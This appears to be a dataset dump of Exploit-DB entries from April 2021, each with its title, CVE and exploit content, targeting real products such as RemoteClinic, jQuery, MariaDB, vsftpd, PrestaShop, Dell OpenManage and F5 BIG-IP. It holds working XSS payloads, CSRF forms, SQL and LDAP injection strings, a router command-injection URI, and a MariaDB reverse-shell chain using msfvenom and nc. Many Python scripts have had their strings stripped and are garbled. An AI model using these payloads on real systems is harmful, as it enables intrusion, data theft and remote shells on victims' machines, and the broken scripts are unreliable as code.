QLWD/code_shield huggingface dataset:
标题: RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS) EDB-ID: 49781 CVE: 2021-30044 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-21 漏洞利用脚本: # Exploit Title: RemoteClinic 2 - 'Multiple' Cross-Site Scripting (XSS)
# Exploit Author: nu11secur1ty
# Debug: g3ck0dr1v3r
# Date: 04/21/2021
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# CVE: CVE-2021-30044

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30044

[Exploit Program Code]

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: g3ck0dr1v3r


 selenium  webdriver
 time



website_link


username


password


element_for_username

element_for_password

element_for_submit


browser  webdriverChrome 


chromedriver


browsergetwebsite_link



username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword


signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick


element_for_natrutvanie
browserget


browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script
browserfind_element_by_namesend_keys
timesleep


signInButton  browserfind_element_by_nameelement_for_natrutvanie
signInButtonclick


timesleep
browserget
browserclose



 Exception URL: https://www.exploit-db.com/exploits/49781
标题: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access) EDB-ID: 49775 CVE: 2021-31152 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-04-21 漏洞利用脚本: # Exploit Title: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)
# Date: 14/04/2021
# Exploit Author: Rodolfo Mariano
# Version: Firmware V02.03.01.45_pt
# CVE: 2021-31152

# Exploit Code:
<html>
 <body>
  <form action="http://192.168.0.1/goform/setSysTools" method="POST">
      <input name="module4" value="remoteWeb" type="hidden"> URL: https://www.exploit-db.com/exploits/49775
标题: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS) EDB-ID: 49772 CVE: 2021-30637 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-15 漏洞利用脚本: # Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
# Authors: @nu11secur1ty & G.Dzhankushev
# Date: 04.15.2021
# Vendor Homepage: https://www.htmly.com/
# Software Link: https://github.com/danpros/htmly
# CVE: CVE-2021-30637

#!/usr/bin/python3

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time



website_link


username


password


element_for_username

element_for_password

element_for_submit



browser  webdriverChrome 


browsergetwebsite_link 


 username_element  browserfind_element_by_nameelement_for_username
 username_elementsend_keysusername  
 password_element   browserfind_element_by_nameelement_for_password
 password_elementsend_keyspassword
 signInButton  browserfind_element_by_nameelement_for_submit
 signInButtonclick
 
 
 browserget 
 browserexecute_script 
 timesleep
 browserexecute_script

 
 
 Exception URL: https://www.exploit-db.com/exploits/49772
标题: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS) EDB-ID: 49771 CVE: 2020-15500 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-15 漏洞利用脚本: # Exploit Title: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)
# Date: 15/04/2021
# Exploit Author: Akash Chathoth
# Vendor Homepage: http://tileserver.org/
# Software Link: https://github.com/maptiler/tileserver-gl
# Version: versions <3.1.0
# Tested on: 2.6.0
# CVE: 2020-15500

Exploit : http://example.com/?key="><script>alert(document.domain)</script> URL: https://www.exploit-db.com/exploits/49771
标题: jQuery 1.0.3 - Cross-Site Scripting (XSS) EDB-ID: 49767 CVE: 2020-11023 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: jQuery 1.0.3 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.0.3 and before 3.5.0
# CVE : CVE-2020-11023

# Proof of Concept 1:
<style><style /><img src=x onerror=alert(1)>

# Proof of Concept 2 (Only jQuery 3.x affected):
<img alt="<x" title="/><img src=x onerror=alert(1)>"> URL: https://www.exploit-db.com/exploits/49767
标题: jQuery 1.2 - Cross-Site Scripting (XSS) EDB-ID: 49766 CVE: 2020-11022 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: jQuery 1.2 - Cross-Site Scripting (XSS)
# Date: 04/29/2020
# Exploit Author: Central InfoSec
# Version: jQuery versions greater than or equal to 1.2 and before 3.5.0
# CVE : CVE-2020-11022

# Proof of Concept 1:
<option><style></option></select><img src=x onerror=alert(1)></style> URL: https://www.exploit-db.com/exploits/49766
标题: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE EDB-ID: 49764 CVE: 2021-29003 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE
# Date: 12-4-2021
# Exploit Author: Jay Sharma 
# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28
# Tested on: V2.1
# CVE : CVE-2021-29003

#steps to reproduce#

Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI URL: https://www.exploit-db.com/exploits/49764
标题: MariaDB 10.2 - 'wsrep_provider' OS Command Execution EDB-ID: 49765 CVE: 2021-27928 类型: LOCAL 平台: LINUX 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

# Proof of Concept:

# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

# Start a listener
nc -lvp <port>

# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";' URL: https://www.exploit-db.com/exploits/49765
标题: CITSmart ITSM 9.1.2.22 - LDAP Injection EDB-ID: 49762 CVE: 2020-35775 类型: WEBAPPS 平台: JAVA 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: CITSmart ITSM 9.1.2.22 - LDAP Injection
# Google Dork: "citsmart.local"
# Date: 29/12/2020
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.23
# CVE : CVE-2020-35775

To exploit this flaw it is necessary to have at least one user/password previously registered, because the system checks (ldap bind) the first user returned in the ldap search. However, it returns the last user found in the search to the function that called it (logic error).

So, I call this problem an LDAP injection in conjunction with a programming logic error that allows you to authenticate to CITSmart ITSM with another valid user without needing to know the target user's password.

Affected versions: < 9.1.2.23
Fixed versions: >= 9.1.2.23

Using this LDAP query in the username field of login page you could login with the target_username account without knowing the target account password.

*)(|(sAMAccountName=valid_username)(sAMAccountName=target_username)

You must know at least one username/password because the autenticacaoAD() function at LDAPUtils.java class (package br.com.centralit.citcorpore.integracao.ad) will try to bind with the first user (valid_username) of the query result.

Vendor has acknowledge this vulnerability at ticket 5929 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html) URL: https://www.exploit-db.com/exploits/49762
标题: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated) EDB-ID: 49763 CVE: 2021-28142 类型: WEBAPPS 平台: JAVA 发布日期: 2021-04-14 漏洞利用脚本: # Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)
# Google Dork: "citsmart.local"
# Date: 11/03/2021
# Exploit Author: skysbsb
# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html
# Version: < 9.1.2.28
# CVE : CVE-2021-28142

To exploit this flaw it is necessary to be authenticated.

URL vulnerable:
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale
Param vulnerable: query

Sqlmap usage:  sqlmap -u "
https://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix "')" --suffix "AND ('abc%'='abc" --sql-shell

Affected versions: < 9.1.2.28
Fixed versions: >= 9.1.2.28

Vendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html) URL: https://www.exploit-db.com/exploits/49763
标题: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow EDB-ID: 49760 CVE: 2020-29238 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-13 漏洞利用脚本: # Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
# Date: 09-04-2021
# Exploit Author: Jai Kumar Sharma
# Vendor Homepage: https://www.expressvpn.com/
# Software Link: https://www.expressvpn.com/vpn-software/vpn-router
# Version: version 1
# Tested on: Windows/Ubuntu/MacOS
# CVE : CVE-2020-29238

*Proof of concept*:

ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server

ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/

ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

Crafted Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Host: 127.0.0.1:8181
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758999
Connection: close


Response:
HTTP/1.1 206 Partial Content
Server: nginx/1.9.15
Date: Tue, 10 Nov 2020 19:22:05 GMT
Content-Type: multipart/byteranges; boundary=00000000002
Content-Length: 598
Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT
Connection: close
ETag: "5b99edc0-99f"


--00000000002
Content-Type: text/html
Content-Range: bytes -14745-2462/2463 URL: https://www.exploit-db.com/exploits/49760
标题: vsftpd 2.3.4 - Backdoor Command Execution EDB-ID: 49757 CVE: 2011-2523 类型: REMOTE 平台: UNIX 发布日期: 2021-04-12 漏洞利用脚本: # Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   
                                                           
from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    
    
    exit

signalSIGINT handler                           
parserargparseArgumentParser        
parseradd_argument  
args  parserparse_args       
host  argshost                        
portFTP   

user
password

tnTelnethost portFTP
tnread_untilb 
tnwriteuserencode  b
tnread_untilb 
tnwritepasswordencode  b

tn2Telnethost 


tn2interact URL: https://www.exploit-db.com/exploits/49757
标题: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection EDB-ID: 49755 CVE: 2020-15160 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-09 漏洞利用脚本: # Exploit Title: PrestaShop 1.7.6.7 - 'location' Blind Sql Injection 
# Date: 2021-04-08
# Exploit Author: Vanshal Gaur
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.5.x < 1.7.6.8
# Tested on: Debian 10 (buster)
# CVE : CVE-2020-15160

#!/usr/bin/python3

'''

Setup Vulnerable Docker on "localhost:8080":

docker network create prestashop-net
docker run -ti --name mysql_z --network prestashop-net -e MYSQL_ROOT_PASSWORD=admin -p 3307:3306 -d mysql:5.7
docker run -ti --name prestashop_z --network prestashop-net -e DB_SERVER=mysql_z -p 8080:80 -d prestashop/prestashop:1.7.6.7
'''

 requests 
 sys
 lxml  html
 re


 sysargv  
    
        sysargv
    
    sysexit  


email  sysargv
password  sysargv
target_host  sysargv
target_port  sysargv
product_id  sysargv
admin_path  sysargv
target  target_hosttarget_port



s  requestsSession

 stargetpasswordemailadmin_path
    url  targetadmin_path
    
    data             
    data  password
    data  email
    r  sposturl datadata

loginstargetpasswordemailadmin_path


token_ext  sgettargetadmin_path
token_junk  refindalltoken_exttext
token_spit  resplittoken_junk
token_2  resplittoken_spit
token  token_2


 stargetproduct_idadmin_path
    headers             
    
    q  sgettargetadmin_pathproduct_idtokenheadersheaders
    tree  htmlfromstringqtext
    output  treexpath
    form_token  joinoutput
     form_token

form_token   productDetails_formtokenstargetproduct_idadmin_path


 stargettokenproduct_idadmin_path
    headers             
    
    q  sgettargetadmin_pathproduct_idtokenheadersheaders
    tree  htmlfromstringqtext
    output  treexpath
    form_location  joinoutput
    
     form_location




 stokenform_tokenpayloadtargetproduct_idadmin_path
     j   

        sql_payload  payloadreplace j

        url  targetadmin_pathproduct_idtoken
        headers               
        data                                                                                                                                                                                                   
        data  form_token
        data  sql_payload
        data  product_id
        
        r  sposturl headersheaders datadata
        
        productDetails_form_locationstargettokenproduct_idadmin_path  
             j
     


 i  
    payload    i 
    extracted_char  sqlistokenform_tokenpayloadtargetproduct_idadmin_path
    sysstdoutwriteextracted_char
    sysstdoutflush URL: https://www.exploit-db.com/exploits/49755
标题: Composr 10.0.36 - Remote Code Execution EDB-ID: 49753 CVE: 2021-30149 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-08 漏洞利用脚本: # Exploit Title: Composr 10.0.36 - Remote Code Execution
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30149

A RCE on Composr CMS has been discovered by BugsBD Private LTD. We have a galleries security issue which allows us to upload a PHP file. Whenever we upload an image from galleries, Composr allows us to upload only images. If we tried to upload a PHP file from galleries uploader it will say someone attempting hacking activities. But we have a security issue on the Upload In Bulk section. Whenever we check allowed extension in Upload in bulk function we can see PHP is completely prohibited. But whenever we tamper the request and change the extension we can see it will upload the PHP file without other or server side verification. This allows a user to upload malicious file even when they restricted it.

Steps To Reproduce:
1. Go to upload galleries.
2. Upload a image and tamper the request and change the extension from .jpg to .php
3. It will say hacking attempts, check the allowed extension and you can see it's not accepting PHP extension.
4. Now go to upload in bulk option.
5. Upload a image with PHP codes and tamper the request.
6. Change extension from .jpg to .php
7. It will get uploaded with the blocked PHP extension. URL: https://www.exploit-db.com/exploits/49753
标题: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF) EDB-ID: 49752 CVE: 2021-30147 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-08 漏洞利用脚本: # Exploit Title: DMA Radius Manager 4.4.0 - Cross-Site Request Forgery (CSRF)
# Date: April 8, 2021 (04/08/2021)
# Exploit Author: Issac Briones
# Vendor Homepage: http://www.dmasoftlab.com/
# Software Download: https://sourceforge.net/projects/radiusmanager/
# Version: 4.4.0
# CVE: CVE-2021-30147

<html>
 <body>
  < ! -- Change IP addr to IP addr that RADIUS manager is located -- >
  <form action="http://192.168.1.2/admin.php?cont=store_user" method="POST">
   <input type="hidden" name="username" value="csrf_usr" />
   <input type="hidden" name="enableuser" value="1" /> URL: https://www.exploit-db.com/exploits/49752
标题: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read EDB-ID: 49750 CVE: 2020-5377 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-04-07 漏洞利用脚本: # Exploit Title: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read
# Date: 4/27/2020
# Exploit Author: Rhino Security Labs
# Version: <= 9.4
# Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.
# CVE: CVE-2020-5377

# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs




 xmlsaxsaxutils  escape
 BaseHTTPServer
 requests
 thread
 ssl
 sys
 re
 os

 urllib3
urllib3disable_warnings

 sysargv  
  
 exit



 BaseHTTPServerBaseHTTPRequestHandler
  s
  data  
  content_len  sheadersgetheader 
  post_body  srfilereadcontent_len
  ssend_response
  ssend_header 
  send_headers
     post_body
   data  escape
     post_body
   data  escape
   data
   requid  refindallpost_body
   swfilewriterequiddata

  
   swfilewrite

  self  args
  

createdCert  
  ospathisfile
  
 ossystem
 createdCert  

 
 server_class  BaseHTTPServerHTTPServer
 httpd  httpd  server_class  MyHandler
 httpdsocket  sslwrap_socket httpdsocket certfile server_side
 httpdserve_forever

threadstart_new_threadstartServer

myIP  sysargv
target  sysargv

 
 values  
 url  target
 data     myIP        
 r  requestsposturl datadata verify allow_redirects
 cookieheader  rheaders
 sessionid  refindallcookieheader
 pathid  refindallcookieheader
 values  sessionid
 values  pathid
  values

ids  bypassAuth
sessionid  ids
pathid  ids

 sessionid
 pathid

 targetsessidpathid
     
          
        url  targetpathidpathid
        cookies   sessid
        r  requestsgeturl cookiescookies verify
         rcontent

 path
  pathlowerstartswith
  path  path
        path  pathreplace
         path

readFiletargetsessionidpathid URL: https://www.exploit-db.com/exploits/49750
标题: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS EDB-ID: 49748 CVE: 2020-14166 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-07 漏洞利用脚本: # Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30 URL: https://www.exploit-db.com/exploits/49748
标题: Composr CMS 10.0.36 - Cross Site Scripting EDB-ID: 49749 CVE: 2021-30150 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-07 漏洞利用脚本: # Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert("Hello")</something:script> URL: https://www.exploit-db.com/exploits/49749
标题: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated) EDB-ID: 49738 CVE: 2021-22986 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-04-02 漏洞利用脚本: # Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)
# Exploit Author: Al1ex
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2
# CVE : CVE-2021-22986

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import sys


def title():
       

 url
 target_url  url  
 data  
  
  
  
  
 
 headers  
   
  
 
 response  requestsposttarget_url headersheaders jsondata verify timeout
     responsetext
  
   
  header_2  
       
       
       
       
  
  data_2  
     
    
  
  check_url  url  
  
   response2  requestsposturlcheck_url jsondata_2 headersheader_2 verify timeout
    response2status_code      response2text
     
     cmd  
     data_3     cmd
     r  requestsposturlcheck_url jsondata_3 headersheader_2 verify
      rstatus_code      rtext
      rtextsplitsplitreplace 
   
    
    exit
   Exception
   
 responsetextsplitsplit
  
  cmd  
  headers  
    
    responsetextsplitsplit
  
  data_json  
     
    cmd
  
  exp_url url  
  exp_req  requestspostexp_url headersheaders jsondata_json verify timeout
   exp_reqstatus_code      exp_reqtext
   exp_reqtextsplitsplitreplace 
  
   
   exit

 __name__  
    title
    sysargv  
     sysargv
     exit
    
     exploitsysargv URL: https://www.exploit-db.com/exploits/49738